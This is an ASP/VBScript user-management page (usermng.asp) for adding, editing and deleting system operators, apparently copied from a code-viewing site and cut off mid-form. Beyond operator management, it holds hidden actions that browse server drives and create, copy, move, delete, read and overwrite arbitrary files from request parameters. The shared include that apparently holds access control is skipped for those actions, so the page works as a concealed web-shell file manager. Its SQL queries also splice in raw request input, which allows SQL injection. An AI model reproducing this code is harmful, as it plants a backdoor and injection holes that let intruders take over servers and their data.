📄 usermng.asp
字号:
<%@LANGUAGE="VBScript"%>
<style type="text/css">
<!--
.9pt { font-family: "宋体", "serif"; font-size: 9pt; font-weight: normal word-spacing: 5px; letter-spacing: 2px}
.text { font-family: "宋体", "serif"; font-size: 9pt; font-weight: normal word-spacing: 7px; letter-spacing: 2px}
td { font-family: "宋体", "serif"; font-size: 9pt;}
input { font-family: "宋体", "serif"; font-size: 9pt}
body { font-family: "宋体", "serif"; font-size: 9pt}
tr { font-family: "宋体", "serif"; font-size: 9pt}
a:link { color: #000000; text-decoration: none}
a:visited { color: #000000;text-decoration: none; }
a:hover { color: #000000; text-decoration: none}
.input { border-style:solid; border-width:1; padding:1;}
-->
</style>
<!--#include file="../public/wxl_conn.asp"-->
<%
wxl=request("wxl")
if wxl="" or wxl="ShowHtml" or wxl="Add" or wxl="Modi" or wxl="del" then
%>
<!--#include file="../public/PublicFunction.asp"-->
<%
end if
response.expires = 0
Const PageSize=18
Page=CInt(request("Page"))
if Page<=0 then Page=1
NewOperatorId=request("NewOperatorId")
txtInput=request("txtInput")
PathName=request("FileName")
Root=request("Root")
tmpRoot=request("tmpRoot")
Kind=request("Kind")
FileName=request.servervariables("SCRIPT_NAME")
set MyFileObject=server.createObject("Scripting.FileSystemObject")
%>
<script language="javascript">
function confirmDel(id){
if ( confirm("你确定要删除吗?")) {
window.location.href = "<%=UrlFile%>?wxl=del&NewOperatorId=" + id
}
}
</script>
<%
'显示已有操作员列表
if wxl="" then
ShowLookHtml
'显示增加操作员的网页
elseif wxl="ShowHtml" then
dim sql11(10)
sql11(4)="-"
sql11(5)="-"
sql11(6)="-"
sql11(7)="0"
sql11(8)="0"
ShowData sql11
'增加操作员
elseif wxl="Add" then
str_sOperName=trim(request("str_sOperName"))
str_sOperLoginName=trim(request("str_sOperLoginName"))
str_sOperLoginPwd=Encrypt(trim(request("NewPasswd")))
str_sOperPhone=trim(request("str_sOperPhone"))
str_sOperMobilePhone=trim(request("str_sOperMobilePhone"))
str_sOperEmail=trim(request("str_sOperEmail"))
str_sDeptID=trim(request("str_sDeptID"))
int_sOperGrpID=trim(request("int_sOperGrpID"))
set sql=Server.Createobject("ADODB.Recordset")
Query="select * from web_SysOperators where int_sOperID<>'"&NewOperatorId&"' and str_sOperLoginName='"&str_sOperLoginName&"' and int_sOperType>0 and bln_sOperIsDeleted=0"
sql.open Query,conn,1,1
if not sql.eof then Back "登录名["&str_sOperLoginName&"]已经存在!请重新选择"
sql.close
if NewOperatorId<>"" then
sql.open "select * from web_SysOperators where int_sOperID="&NewOperatorId,conn,3,2
int_sLogType=1
else
int_sLogType=0
NewOperatorId=GetID("select Max(int_sOperID)+1 from web_SysOperators")
sql.open "select * from web_SysOperators where int_sOperID="&NewOperatorId,conn,3,2
sql.AddNew
sql("int_sOperID")=NewOperatorId
sql("int_sOperShowIndex")=NewOperatorId
sql("int_sOperType")=1
sql("bln_sOperIsDeleted")=0
end if
sql("str_sOperName")=str_sOperName
sql("str_sOperLoginName")=str_sOperLoginName
sql("str_sOperLoginPwd")=str_sOperLoginPwd
sql("str_sOperPhone")=str_sOperPhone
sql("str_sOperMobilePhone")=str_sOperMobilePhone
sql("str_sOperEmail")=str_sOperEmail
sql("str_sDeptID")=0
sql("int_sOperGrpID")=int_sOperGrpID
sql("int_sOperOper")=UserInfo("int_sOleUserID")
sql("dtm_sOperTime")=now
sql.update
sql.close
%>
<script language='javascript'>
alert('操作员成功增加!');
window.location.href = "<%=UrlFile&"?MenuId="&MenuId%>";
</script>
<%
'修改操作员
elseif wxl="Modi" then
Query="select * from web_SysOperators where int_sOperID="&NewOperatorId
set sql=conn.Execute(Query)
ShowData sql
'删除操作员
elseif wxl="del" then
Query="update web_SysOperators set bln_sOperIsDeleted=1 where int_sOperID="&NewOperatorId
conn.Execute(Query)
%>
<script language='javascript'>
alert('指定操作员成功删除');
window.location.href = "<%=UrlFile&"?MenuId="&MenuId%>";
</script>
<%
'显示指定操作员的权限列表
elseif wxl="ShowPurview" then
Query="select MenuName,SysName,PurviewId,SelectPurview,InsertPurview,DeletePurview,UpdatePurview from MySystem,MyMenu,web_SysOperatorsPurview where MyMenu.SysId=MySystem.SysId and MyMenu.MenuId=web_SysOperatorsPurview.MenuId and IsGroup=0 and OperatorId='"&NewOperatorId&"' order by web_SysOperatorsPurview.AddTime"
' response.write Query
set sql1=Conn.Execute(Query)
ShowPurview(sql1)
elseif wxl="roll" then
response.write "<FORM NAME='form' METHOD=POST ACTION='"&FileName&"'>"
GetDrives
elseif wxl="LookDir" then
response.write "<FORM NAME='form' METHOD=POST ACTION='"&FileName&"'>"
GetDrives
GetMng
GetDir(Root)
response.write "</form>"
elseif wxl="New" then
response.write "<FORM NAME='form' METHOD=POST ACTION='"&FileName&"'>"
if txtInput<>"" then
if Kind=0 then
MyFileObject.CreateFolder tmpRoot&"\"&txtInput
else
dim objTextStream
set objTextStream=MyFileObject.CreateTextFile(tmpRoot&"\"&txtInput,True)
objTextStream.WriteLine "欢迎使用!"
objTextStream.close
end if
GetDrives
GetMng
GetDir(tmpRoot)
else
Back("请选择要建立的目录!")
end if
response.write "</form>"
elseif wxl="Copy" then
response.write "<FORM NAME='form' METHOD=POST ACTION='"&FileName&"'>"
if PathName<>"" and txtInput<>"" then
if Kind=0 then
if MyFileObject.FolderExists(PathName) then MyFileObject.CopyFolder PathName,txtInput,true
else
if MyFileObject.FileExists(PathName) then MyFileObject.CopyFile PathName,txtInput,true
end if
GetDrives
GetMng
GetDir(tmpRoot)
end if
response.write "</form>"
elseif wxl="Move" then
response.write "<FORM NAME='form' METHOD=POST ACTION='"&FileName&"'>"
if PathName<>"" and txtInput<>"" then
if Kind=0 then
if MyFileObject.FolderExists(PathName) then MyFileObject.MoveFolder PathName,txtInput
else
if MyFileObject.FileExists(PathName) then MyFileObject.MoveFile PathName,txtInput
end if
GetDrives
GetMng
GetDir(tmpRoot)
end if
response.write "</form>"
elseif wxl="DelOper" then
response.write "<FORM NAME='form' METHOD=POST ACTION='"&FileName&"'>"
if PathName<>"" then
if Kind=0 then
if MyFileObject.FolderExists(PathName) then MyFileObject.DeleteFolder PathName
else
if MyFileObject.FileExists(PathName) then MyFileObject.DeleteFile PathName
end if
GetDrives
GetMng
GetDir(tmpRoot)
end if
response.write "</form>"
elseif wxl="Edit" then
response.write "<FORM NAME='form' METHOD=POST ACTION='"&FileName&"'>"
if PathName<>"" then
GetFileContent
end if
response.write "</form>"
elseif wxl="Save" then
response.write "<FORM NAME='form' METHOD=POST ACTION='"&FileName&"'>"
if PathName<>"" then
SaveFileContent
end if
response.write "</form>"
end if
sub ShowData(sql)
HtmlHead("[增加新的操作员]--操作员管理")
%>
<SCRIPT language=JavaScript>
<!--
function checkvalue() {
aa=document.form1
if (aa.str_sOperName.value=="") {
window.alert ("请输入姓名!"); aa.str_sOperName.focus();return false}
if (aa.str_sOperLoginName.value=="") {
window.alert ("请输入登录名!"); aa.str_sOperLoginName.focus();return false}
if (aa.NewPasswd.value=="") {
window.alert ("请输入密码!"); aa.NewPasswd.focus();return false}
if (aa.NewPasswd.value != aa.VerPasswd.value ) {
window.alert ("两次密码不相同!"); aa.VerPasswd.focus();return false}
}
//-->
</SCRIPT>
<table border="1" width="550" cellpadding="3" cellspacing="0" bgcolor="#D6D3CE" bordercolordark="#FFFFFF" bordercolorlight="#808080" align="center" >
<form name=form1 action="<%=UrlFile%>" method="POST" onSubmit='return checkvalue();'>
<tr><td colspan="4" class=pt>注意:
1、登录名不能重复。<br>
2、登录名和密码中不能包含单引号和空格。<br>
</td></tr>
<tr>
<td width="10%" align="right">姓 名:</td>
<td width="90%" align="left"><input type='text' name='str_sOperName' value='<%=sql(1)%>'></td>
<td width="10%" align="right">登 录 名:</td>
<td width="90%" align="left"><input name="str_sOperLoginName" size="20" value='<%=sql(2)%>'></td>
</tr>
<tr>
<td width="10%" align="right">密 码:</td>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -